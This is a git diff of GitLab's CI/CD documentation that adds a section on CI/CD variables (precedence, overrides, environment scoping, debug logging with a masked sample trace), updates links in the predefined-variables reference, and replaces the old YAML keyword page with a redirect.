+ dependencies:
+ - build
+```
+
+For example, with the [`needs`](../yaml/index.md#artifact-downloads-with-needs) keyword:
+
+```yaml
+build:
+ stage: build
+ script:
+ - echo "BUILD_VERSION=hello" >> build.env
+ artifacts:
+ reports:
+ dotenv: build.env
+
+deploy:
+ stage: deploy
+ script:
+ - echo "$BUILD_VERSION" # Output is: 'hello'
+ needs:
+ - job: build
+ artifacts: true
+```
+
+## CI/CD variable precedence
+
+You can use CI/CD variables with the same name in different places, but the values
+can overwrite each other. The type of variable and where they are defined determines
+which variables take precedence.
+
+The order of precedence for variables is (from highest to lowest):
+
+1. [Trigger variables](../triggers/index.md#making-use-of-trigger-variables),
+ [scheduled pipeline variables](../pipelines/schedules.md#using-variables),
+ and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually).
+1. Project [variables](#custom-cicd-variables).
+1. Group [variables](#add-a-cicd-variable-to-a-group).
+1. Instance [variables](#add-a-cicd-variable-to-an-instance).
+1. [Inherited variables](#pass-an-environment-variable-to-another-job).
+1. Variables defined in jobs in the `.gitlab-ci.yml` file.
+1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file.
+1. [Deployment variables](#deployment-variables).
+1. [Predefined variables](predefined_variables.md).
+
+In the following example, when the script in `job1` executes, the value of `API_TOKEN` is `secure`.
+Variables defined in jobs have a higher precedence than variables defined globally.
+
+```yaml
+variables:
+ API_TOKEN: "default"
+
+job1:
+ variables:
+ API_TOKEN: "secure"
+ script:
+ - echo "The variable value is $API_TOKEN"
+```
+
+## Override a defined CI/CD variable
+
+You can override the value of a variable when you:
+
+1. [Run a pipeline manually](#override-a-variable-when-running-a-pipeline-manually) in the UI.
+1. Create a pipeline by using [the API](../../api/pipelines.md#create-a-new-pipeline).
+1. Run a job manually in the UI.
+1. Use [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd).
+1. Trigger a pipeline by using [the API](../triggers/index.md#making-use-of-trigger-variables).
+1. Pass variables to a downstream pipeline [by using the `variable` keyword](../pipelines/multi_project_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline-by-using-the-variables-keyword)
+ or [by using variable inheritance](../pipelines/multi_project_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline-by-using-variable-inheritance).
+
+The pipeline variables declared in these events take [priority over other variables](#cicd-variable-precedence).
+
+### Override a variable when running a pipeline manually
+
+You can override the value of a CI/CD variable when you
+[run a pipeline manually](../pipelines/index.md#run-a-pipeline-manually).
+
+1. Go to your project's **CI/CD > Pipelines** and select **Run pipeline**.
+1. Choose the branch you want to run the pipeline for.
+1. Input the variable and its value in the UI.
+
+### Restrict who can override variables
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/295234) in GitLab 13.8.
+
+You can grant permission to override variables to [maintainers](../../user/permissions.md#project-features) only. When other users try to run a pipeline
+with overridden variables, they receive the `Insufficient permissions to set pipeline variables`
+error message.
+
+If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#specify-a-custom-cicd-configuration-file),
+use this setting for control over the environment the pipeline runs in.
+
+You can enable this feature by using [the projects API](../../api/projects.md#edit-project)
+to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default.
+
+## Limit the environment scope of a CI/CD variable
+
+By default, all CI/CD variables are available to any job in a pipeline. Therefore, if a project uses a
+compromised tool in a test job, it could expose all CI/CD variables that a deployment job used. This is
+a common scenario in supply chain attacks. GitLab helps mitigate supply chain attacks by limiting
+the environment scope of a variable. GitLab does this by
+[defining which environments and corresponding jobs](../environments/index.md)
+the variable can be available for.
+
+To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scoping-environments-with-specs).
+
+To learn more about ensuring CI/CD variables are only exposed in pipelines running from protected
+branches or tags, see [Protect a CI/CD Variable](#protect-a-cicd-variable).
+
+## Deployment variables
+
+Integrations that are responsible for deployment configuration can define their own
+variables that are set in the build environment. These variables are only defined
+for [deployment jobs](../environments/index.md).
+
+For example, the [Kubernetes integration](../../user/project/clusters/deploy_to_cluster.md#deployment-variables)
+defines deployment variables that you can use with the integration.
+
+The [documentation for each integration](../../user/project/integrations/overview.md)
+explains if the integration has any deployment variables available.
+
+## Auto DevOps environment variables
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49056) in GitLab 11.7.
+
+You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables
+to a running application.
+
+To make a CI/CD variable available as an environment variable in the running application's container,
+[prefix the variable key](../../topics/autodevops/customize.md#application-secret-variables)
+with `K8S_SECRET_`.
+
+CI/CD variables with multi-line values are not supported.
+
+## Debug logging
+
+> Introduced in GitLab Runner 1.7.
+
+WARNING:
+Debug logging can be a serious security risk. The output contains the content of
+all variables and other secrets available to the job. The output is uploaded to the
+GitLab server and visible in job logs.
+
+You can use debug logging to help troubleshoot problems with pipeline configuration
+or job scripts. Debug logging exposes job execution details that are usually hidden
+by the runner and makes job logs more verbose. It also exposes all variables and secrets
+available to the job.
+
+Before you enable debug logging, make sure only [team members](../../user/permissions.md#project-features)
+can view job logs. You should also [delete job logs](../jobs/index.md#view-jobs-in-a-pipeline)
+with debug output before you make logs public again.
+
+### Enable Debug logging
+
+To enable debug logging (tracing), set the `CI_DEBUG_TRACE` variable to `true`:
+
+```yaml
+job_name:
+ variables:
+ CI_DEBUG_TRACE: "true"
+```
+
+Example output (truncated):
+
+```shell
+...
+export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE"
+if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
+ echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\''
+ $'\''cd'\'' "/builds/gitlab-examples/ci-debug-trace"
+ $'\''git'\'' "config" "fetch.recurseSubmodules" "false"
+ $'\''rm'\'' "-f" ".git/index.lock"
+ $'\''git'\'' "clean" "-ffdx"
+ $'\''git'\'' "reset" "--hard"
+ $'\''git'\'' "remote" "set-url" "origin" "https://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@example.com/gitlab-examples/ci-debug-trace.git"
+ $'\''git'\'' "fetch" "origin" "--prune" "+refs/heads/*:refs/remotes/origin/*" "+refs/tags/*:refs/tags/lds"
+++ CI_BUILDS_DIR=/builds
+++ export CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
+++ CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
+++ export CI_CONCURRENT_ID=87
+++ CI_CONCURRENT_ID=87
+++ export CI_CONCURRENT_PROJECT_ID=0
+++ CI_CONCURRENT_PROJECT_ID=0
+++ export CI_SERVER=yes
+++ CI_SERVER=yes
+++ mkdir -p /builds/gitlab-examples/ci-debug-trace.tmp
+++ echo -n '-----BEGIN CERTIFICATE-----
+-----END CERTIFICATE-----'
+++ export CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
+++ CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
+++ export CI_PIPELINE_ID=52666
+++ CI_PIPELINE_ID=52666
+++ export CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
+++ CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
+++ export CI_JOB_ID=7046507
+++ CI_JOB_ID=7046507
+++ export CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
+++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
+++ export CI_JOB_TOKEN=[MASKED]
+++ CI_JOB_TOKEN=[MASKED]
+++ export CI_REGISTRY_USER=gitlab-ci-token
+++ CI_REGISTRY_USER=gitlab-ci-token
+++ export CI_REGISTRY_PASSWORD=[MASKED]
+++ CI_REGISTRY_PASSWORD=[MASKED]
+++ export CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
+++ CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
+++ export CI_JOB_NAME=debug_trace
+++ CI_JOB_NAME=debug_trace
+++ export CI_JOB_STAGE=test
+++ CI_JOB_STAGE=test
+++ export CI_NODE_TOTAL=1
+++ CI_NODE_TOTAL=1
+++ export CI=true
+++ CI=true
+++ export GITLAB_CI=true
+++ GITLAB_CI=true
+++ export CI_SERVER_URL=https://gitlab.com:3000
+++ CI_SERVER_URL=https://gitlab.com:3000
+++ export CI_SERVER_HOST=gitlab.com
+++ CI_SERVER_HOST=gitlab.com
+++ export CI_SERVER_PORT=3000
+++ CI_SERVER_PORT=3000
+++ export CI_SERVER_PROTOCOL=https
+++ CI_SERVER_PROTOCOL=https
+++ export CI_SERVER_NAME=GitLab
+++ CI_SERVER_NAME=GitLab
+++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
+++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
+++ export CI_PROJECT_ID=17893
+++ CI_PROJECT_ID=17893
+++ export CI_PROJECT_NAME=ci-debug-trace
+++ CI_PROJECT_NAME=ci-debug-trace
+++ export CI_PROJECT_TITLE='GitLab FOSS'
+++ CI_PROJECT_TITLE='GitLab FOSS'
+++ export CI_PROJECT_PATH=gitlab-examples/ci-debug-trace
+++ CI_PROJECT_PATH=gitlab-examples/ci-debug-trace
+++ export CI_PROJECT_PATH_SLUG=gitlab-examples-ci-debug-trace
+++ CI_PROJECT_PATH_SLUG=gitlab-examples-ci-debug-trace
+++ export CI_PROJECT_NAMESPACE=gitlab-examples
+++ CI_PROJECT_NAMESPACE=gitlab-examples
+++ export CI_PROJECT_ROOT_NAMESPACE=gitlab-examples
+++ CI_PROJECT_ROOT_NAMESPACE=gitlab-examples
+++ export CI_PROJECT_URL=https://gitlab.com/gitlab-examples/ci-debug-trace
+++ CI_PROJECT_URL=https://gitlab.com/gitlab-examples/ci-debug-trace
+++ export CI_PROJECT_VISIBILITY=public
+++ CI_PROJECT_VISIBILITY=public
+++ export CI_PROJECT_REPOSITORY_LANGUAGES=
+++ CI_PROJECT_REPOSITORY_LANGUAGES=
+++ export CI_DEFAULT_BRANCH=main
+++ CI_DEFAULT_BRANCH=main
+++ export CI_REGISTRY=registry.gitlab.com
+++ CI_REGISTRY=registry.gitlab.com
+++ export CI_API_V4_URL=https://gitlab.com/api/v4
+++ CI_API_V4_URL=https://gitlab.com/api/v4
+++ export CI_PIPELINE_IID=123
+++ CI_PIPELINE_IID=123
+++ export CI_PIPELINE_SOURCE=web
+++ CI_PIPELINE_SOURCE=web
+++ export CI_CONFIG_PATH=.gitlab-ci.yml
+++ CI_CONFIG_PATH=.gitlab-ci.yml
+++ export CI_COMMIT_SHA=dd648b2e48ce6518303b0bb580b2ee32fadaf045
+++ CI_COMMIT_SHA=dd648b2e48ce6518303b0bb580b2ee32fadaf045
+++ export CI_COMMIT_SHORT_SHA=dd648b2e
+++ CI_COMMIT_SHORT_SHA=dd648b2e
+++ export CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000
+++ CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000
+++ export CI_COMMIT_REF_NAME=main
+++ CI_COMMIT_REF_NAME=main
+++ export CI_COMMIT_REF_SLUG=main
+++ CI_COMMIT_REF_SLUG=main
+...
+```
+
+### Restrict access to debug logging
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8.
+
+You can restrict access to debug logging. When restricted, only users with
+[developer or higher permissions](../../user/permissions.md#project-members-permissions)
+can view job logs when debug logging is enabled with a variable in:
+
+- The [`.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
+- The CI/CD variables set in the GitLab UI.
+
+WARNING:
+If you add `CI_DEBUG_TRACE` as a local variable to runners, debug logs generate and are visible
+to all users with access to job logs. The permission levels are not checked by the runner,
+so you should only use the variable in GitLab itself.
+
+## Video walkthrough of a working example
+
+The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck)
+video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo)
+working example project. It explains how multiple levels of group CI/CD variables
+can be combined with environment-scoped project variables for complex configuration
+of application builds or deployments.
+
+The example can be copied to your own group or instance for testing. More details
+on what other GitLab CI patterns are demonstrated are available at the project page.
diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md
index bd280cc4825..b6dd9446644 100644
--- a/doc/ci/variables/predefined_variables.md
+++ b/doc/ci/variables/predefined_variables.md
@@ -7,14 +7,14 @@ type: reference
# Predefined variables reference **(FREE)**
-Predefined [CI/CD variables](README.md) are available in every GitLab CI/CD pipeline.
+Predefined [CI/CD variables](index.md) are available in every GitLab CI/CD pipeline.
Some variables are only available with more recent versions of [GitLab Runner](https://docs.gitlab.com/runner/).
-You can [output the values of all variables available for a job](README.md#list-all-environment-variables)
+You can [output the values of all variables available for a job](index.md#list-all-environment-variables)
with a `script` command.
-There are also [Kubernetes-specific deployment variables](../../user/project/clusters/index.md#deployment-variables).
+There are also [Kubernetes-specific deployment variables](../../user/project/clusters/deploy_to_cluster.md#deployment-variables).
| Variable | GitLab | Runner | Description |
|------------------------------------------|--------|--------|-------------|
@@ -39,7 +39,7 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu
| `CI_CONCURRENT_ID` | all | 11.10 | The unique ID of build execution in a single executor. |
| `CI_CONCURRENT_PROJECT_ID` | all | 11.10 | The unique ID of build execution in a single executor and project. |
| `CI_CONFIG_PATH` | 9.4 | 0.5 | The path to the CI/CD configuration file. Defaults to `.gitlab-ci.yml`. |
-| `CI_DEBUG_TRACE` | all | 1.7 | `true` if [debug logging (tracing)](README.md#debug-logging) is enabled. |
+| `CI_DEBUG_TRACE` | all | 1.7 | `true` if [debug logging (tracing)](index.md#debug-logging) is enabled. |
| `CI_DEFAULT_BRANCH` | 12.4 | all | The name of the project's default branch. |
| `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` | 13.7 | all | The image prefix for pulling images through the Dependency Proxy. |
| `CI_DEPENDENCY_PROXY_PASSWORD` | 13.7 | all | The password to pull images through the Dependency Proxy. |
@@ -49,10 +49,10 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu
| `CI_DEPLOY_PASSWORD` | 10.8 | all | The authentication password of the [GitLab Deploy Token](../../user/project/deploy_tokens/index.md#gitlab-deploy-token), if the project has one. |
| `CI_DEPLOY_USER` | 10.8 | all | The authentication username of the [GitLab Deploy Token](../../user/project/deploy_tokens/index.md#gitlab-deploy-token), if the project has one. |
| `CI_DISPOSABLE_ENVIRONMENT` | all | 10.1 | Only available if the job is executed in a disposable environment (something that is created only for this job and disposed of/destroyed after the execution - all executors except `shell` and `ssh`). `true` when available. |
-| `CI_ENVIRONMENT_NAME` | 8.15 | all | The name of the environment for this job. Available if [`environment:name`](../yaml/README.md#environmentname) is set. |
-| `CI_ENVIRONMENT_SLUG` | 8.15 | all | The simplified version of the environment name, suitable for inclusion in DNS, URLs, Kubernetes labels, and so on. Available if [`environment:name`](../yaml/README.md#environmentname) is set. The slug is [truncated to 24 characters](https://gitlab.com/gitlab-org/gitlab/-/issues/20941). |
-| `CI_ENVIRONMENT_URL` | 9.3 | all | The URL of the environment for this job. Available if [`environment:url`](../yaml/README.md#environmenturl) is set. |
-| `CI_ENVIRONMENT_ACTION` | 13.11 | all | The action annotation specified for this job's environment. Available if [`environment:action`](../yaml/README.md#environmentaction) is set. Can be `start`, `prepare`, or `stop`. |
+| `CI_ENVIRONMENT_NAME` | 8.15 | all | The name of the environment for this job. Available if [`environment:name`](../yaml/index.md#environmentname) is set. |
+| `CI_ENVIRONMENT_SLUG` | 8.15 | all | The simplified version of the environment name, suitable for inclusion in DNS, URLs, Kubernetes labels, and so on. Available if [`environment:name`](../yaml/index.md#environmentname) is set. The slug is [truncated to 24 characters](https://gitlab.com/gitlab-org/gitlab/-/issues/20941). |
+| `CI_ENVIRONMENT_URL` | 9.3 | all | The URL of the environment for this job. Available if [`environment:url`](../yaml/index.md#environmenturl) is set. |
+| `CI_ENVIRONMENT_ACTION` | 13.11 | all | The action annotation specified for this job's environment. Available if [`environment:action`](../yaml/index.md#environmentaction) is set. Can be `start`, `prepare`, or `stop`. |
| `CI_ENVIRONMENT_TIER` | 14.0 | all | The [deployment tier of the environment](../environments/index.md#deployment-tier-of-environments) for this job. |
| `CI_HAS_OPEN_REQUIREMENTS` | 13.1 | all | Only available if the pipeline's project has an open [requirement](../../user/project/requirements/index.md). `true` when available. |
| `CI_JOB_ID` | 9.0 | all | The internal ID of the job, unique across all jobs in the GitLab instance. |
@@ -61,20 +61,20 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu
| `CI_JOB_MANUAL` | 8.12 | all | `true` if a job was started manually. |
| `CI_JOB_NAME` | 9.0 | 0.5 | The name of the job. |
| `CI_JOB_STAGE` | 9.0 | 0.5 | The name of the job's stage. |
-| `CI_JOB_STATUS` | all | 13.5 | The status of the job as each runner stage is executed. Use with [`after_script`](../yaml/README.md#after_script). Can be `success`, `failed`, or `canceled`. |
-| `CI_JOB_TOKEN` | 9.0 | 1.2 | A token to authenticate with [certain API endpoints](../../api/README.md#gitlab-cicd-job-token). The token is valid as long as the job is running. |
+| `CI_JOB_STATUS` | all | 13.5 | The status of the job as each runner stage is executed. Use with [`after_script`](../yaml/index.md#after_script). Can be `success`, `failed`, or `canceled`. |
+| `CI_JOB_TOKEN` | 9.0 | 1.2 | A token to authenticate with [certain API endpoints](../../api/index.md#gitlab-cicd-job-token). The token is valid as long as the job is running. |
| `CI_JOB_URL` | 11.1 | 0.5 | The job details URL. |
| `CI_JOB_STARTED_AT` | 13.10 | all | The UTC datetime when a job started, in [ISO 8601](https://tools.ietf.org/html/rfc3339#appendix-A) format. |
| `CI_KUBERNETES_ACTIVE` | 13.0 | all | Only available if the pipeline has a Kubernetes cluster available for deployments. `true` when available. |
-| `CI_NODE_INDEX` | 11.5 | all | The index of the job in the job set. Only available if the job uses [`parallel`](../yaml/README.md#parallel). |
-| `CI_NODE_TOTAL` | 11.5 | all | The total number of instances of this job running in parallel. Set to `1` if the job does not use [`parallel`](../yaml/README.md#parallel). |
+| `CI_NODE_INDEX` | 11.5 | all | The index of the job in the job set. Only available if the job uses [`parallel`](../yaml/index.md#parallel). |
+| `CI_NODE_TOTAL` | 11.5 | all | The total number of instances of this job running in parallel. Set to `1` if the job does not use [`parallel`](../yaml/index.md#parallel). |
| `CI_OPEN_MERGE_REQUESTS` | 13.8 | all | A comma-separated list of up to four merge requests that use the current branch and project as the merge request source. Only available in branch and merge request pipelines if the branch has an associated merge request. For example, `gitlab-org/gitlab!333,gitlab-org/gitlab-foss!11`. |
| `CI_PAGES_DOMAIN` | 11.8 | all | The configured domain that hosts GitLab Pages. |
| `CI_PAGES_URL` | 11.8 | all | The URL for a GitLab Pages site. Always a subdomain of `CI_PAGES_DOMAIN`. |
| `CI_PIPELINE_ID` | 8.10 | all | The instance-level ID of the current pipeline. This ID is unique across all projects on the GitLab instance. |
| `CI_PIPELINE_IID` | 11.0 | all | The project-level IID (internal ID) of the current pipeline. This ID is unique only within the current project. |
-| `CI_PIPELINE_SOURCE` | 10.0 | all | How the pipeline was triggered. Can be `push`, `web`, `schedule`, `api`, `external`, `chat`, `webide`, `merge_request_event`, `external_pull_request_event`, `parent_pipeline`, [`trigger`, or `pipeline`](../triggers/README.md#authentication-tokens). |
-| `CI_PIPELINE_TRIGGERED` | all | all | `true` if the job was [triggered](../triggers/README.md). |
+| `CI_PIPELINE_SOURCE` | 10.0 | all | How the pipeline was triggered. Can be `push`, `web`, `schedule`, `api`, `external`, `chat`, `webide`, `merge_request_event`, `external_pull_request_event`, `parent_pipeline`, [`trigger`, or `pipeline`](../triggers/index.md#authentication-tokens). |
+| `CI_PIPELINE_TRIGGERED` | all | all | `true` if the job was [triggered](../triggers/index.md). |
| `CI_PIPELINE_URL` | 11.1 | 0.5 | The URL for the pipeline details. |
| `CI_PIPELINE_CREATED_AT` | 13.10 | all | The UTC datetime when the pipeline was created, in [ISO 8601](https://tools.ietf.org/html/rfc3339#appendix-A) format. |
| `CI_PROJECT_CONFIG_PATH` | 13.8 to 13.12 | all | [Removed](https://gitlab.com/gitlab-org/gitlab/-/issues/322807) in GitLab 14.0. Use `CI_CONFIG_PATH`. |
@@ -119,17 +119,18 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu
| `GITLAB_USER_ID` | 8.12 | all | The ID of the user who started the job. |
| `GITLAB_USER_LOGIN` | 10.0 | all | The username of the user who started the job. |
| `GITLAB_USER_NAME` | 10.0 | all | The name of the user who started the job. |
-| `TRIGGER_PAYLOAD` | 13.9 | all | The webhook payload. Only available when a pipeline is [triggered with a webhook](../triggers/README.md#using-webhook-payload-in-the-triggered-pipeline). |
+| `TRIGGER_PAYLOAD` | 13.9 | all | The webhook payload. Only available when a pipeline is [triggered with a webhook](../triggers/index.md#using-webhook-payload-in-the-triggered-pipeline). |
## Predefined variables for merge request pipelines
These variables are available when:
-- The pipelines [are merge request pipelines](../merge_request_pipelines/index.md).
+- The pipelines [are merge request pipelines](../pipelines/merge_request_pipelines.md).
- The merge request is open.
| Variable | GitLab | Runner | Description |
|----------------------------------------|--------|--------|-------------|
+| `CI_MERGE_REQUEST_APPROVED` | 14.1 | all | Approval status of the merge request. `true` when [merge request approvals](../../user/project/merge_requests/approvals/index.md) is available and the merge request has been approved. |
| `CI_MERGE_REQUEST_ASSIGNEES` | 11.9 | all | Comma-separated list of usernames of assignees for the merge request. |
| `CI_MERGE_REQUEST_ID` | 11.6 | all | The instance-level ID of the merge request. This is a unique ID across all projects on GitLab. |
| `CI_MERGE_REQUEST_IID` | 11.6 | all | The project-level IID (internal ID) of the merge request. This ID is unique for the current project. |
@@ -140,12 +141,12 @@ These variables are available when:
| `CI_MERGE_REQUEST_PROJECT_URL` | 11.6 | all | The URL of the project of the merge request. For example, `http://192.168.10.15:3000/namespace/awesome-project`. |
| `CI_MERGE_REQUEST_REF_PATH` | 11.6 | all | The ref path of the merge request. For example, `refs/merge-requests/1/head`. |
| `CI_MERGE_REQUEST_SOURCE_BRANCH_NAME` | 11.6 | all | The source branch name of the merge request. |
-| `CI_MERGE_REQUEST_SOURCE_BRANCH_SHA` | 11.9 | all | The HEAD SHA of the source branch of the merge request. The variable is empty in merge request pipelines. The SHA is present only in [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md). **(PREMIUM)** |
+| `CI_MERGE_REQUEST_SOURCE_BRANCH_SHA` | 11.9 | all | The HEAD SHA of the source branch of the merge request. The variable is empty in merge request pipelines. The SHA is present only in [merged results pipelines](../pipelines/pipelines_for_merged_results.md). **(PREMIUM)** |
| `CI_MERGE_REQUEST_SOURCE_PROJECT_ID` | 11.6 | all | The ID of the source project of the merge request. |
| `CI_MERGE_REQUEST_SOURCE_PROJECT_PATH` | 11.6 | all | The path of the source project of the merge request. |
| `CI_MERGE_REQUEST_SOURCE_PROJECT_URL` | 11.6 | all | The URL of the source project of the merge request. |
| `CI_MERGE_REQUEST_TARGET_BRANCH_NAME` | 11.6 | all | The target branch name of the merge request. |
-| `CI_MERGE_REQUEST_TARGET_BRANCH_SHA` | 11.9 | all | The HEAD SHA of the target branch of the merge request. The variable is empty in merge request pipelines. The SHA is present only in [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md). **(PREMIUM)** |
+| `CI_MERGE_REQUEST_TARGET_BRANCH_SHA` | 11.9 | all | The HEAD SHA of the target branch of the merge request. The variable is empty in merge request pipelines. The SHA is present only in [merged results pipelines](../pipelines/pipelines_for_merged_results.md). **(PREMIUM)** |
| `CI_MERGE_REQUEST_TITLE` | 11.9 | all | The title of the merge request. |
| `CI_MERGE_REQUEST_EVENT_TYPE` | 12.3 | all | The event type of the merge request. Can be `detached`, `merged_result` or `merge_train`. |
| `CI_MERGE_REQUEST_DIFF_ID` | 13.7 | all | The version of the merge request diff. |
diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md
index 76d4d929ff0..beb19c8beea 100644
--- a/doc/ci/variables/where_variables_can_be_used.md
+++ b/doc/ci/variables/where_variables_can_be_used.md
@@ -7,7 +7,7 @@ type: reference
# Where variables can be used
-As it's described in the [CI/CD variables](README.md) docs, you can
+As it's described in the [CI/CD variables](index.md) docs, you can
define many different variables. Some of them can be used for all GitLab CI/CD
features, but some of them are more or less limited.
@@ -149,7 +149,7 @@ In the case of `after_script` scripts, they can:
- Not use variables defined in `before_script` and `script`.
These restrictions exist because `after_script` scripts are executed in a
-[separated shell context](../yaml/README.md#after_script).
+[separated shell context](../yaml/index.md#after_script).
## Persisted variables
diff --git a/doc/ci/yaml/README.md b/doc/ci/yaml/README.md
index 8e9cf00b160..5ab8653dc35 100644
--- a/doc/ci/yaml/README.md
+++ b/doc/ci/yaml/README.md
@@ -1,4874 +1,8 @@
---
-stage: Verify
-group: Pipeline Execution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: reference
+redirect_to: 'index.md'
---
-<!-- markdownlint-disable MD044 -->
-<!-- vale gitlab.Spelling = NO -->
-# Keyword reference for the .gitlab-ci.yml file **(FREE)**
-<!-- vale gitlab.Spelling = YES -->
-<!-- markdownlint-enable MD044 -->
+This document was moved to [another location](index.md).
-This document lists the configuration options for your GitLab `.gitlab-ci.yml` file.
-
-- For a quick introduction to GitLab CI/CD, follow the [quick start guide](../quick_start/index.md).
-- For a collection of examples, see [GitLab CI/CD Examples](../examples/README.md).
-- To view a large `.gitlab-ci.yml` file used in an enterprise, see the [`.gitlab-ci.yml` file for `gitlab`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab-ci.yml).
-
-When you are editing your `.gitlab-ci.yml` file, you can validate it with the
-[CI Lint](../lint.md) tool.
-
-## Job keywords
-
-A job is defined as a list of keywords that define the job's behavior.
-
-The keywords available for jobs are:
-
-| Keyword | Description |
-| :-----------------------------------|:------------|
-| [`after_script`](#after_script) | Override a set of commands that are executed after job. |
-| [`allow_failure`](#allow_failure) | Allow job to fail. A failed job does not cause the pipeline to fail. |
-| [`artifacts`](#artifacts) | List of files and directories to attach to a job on success. |
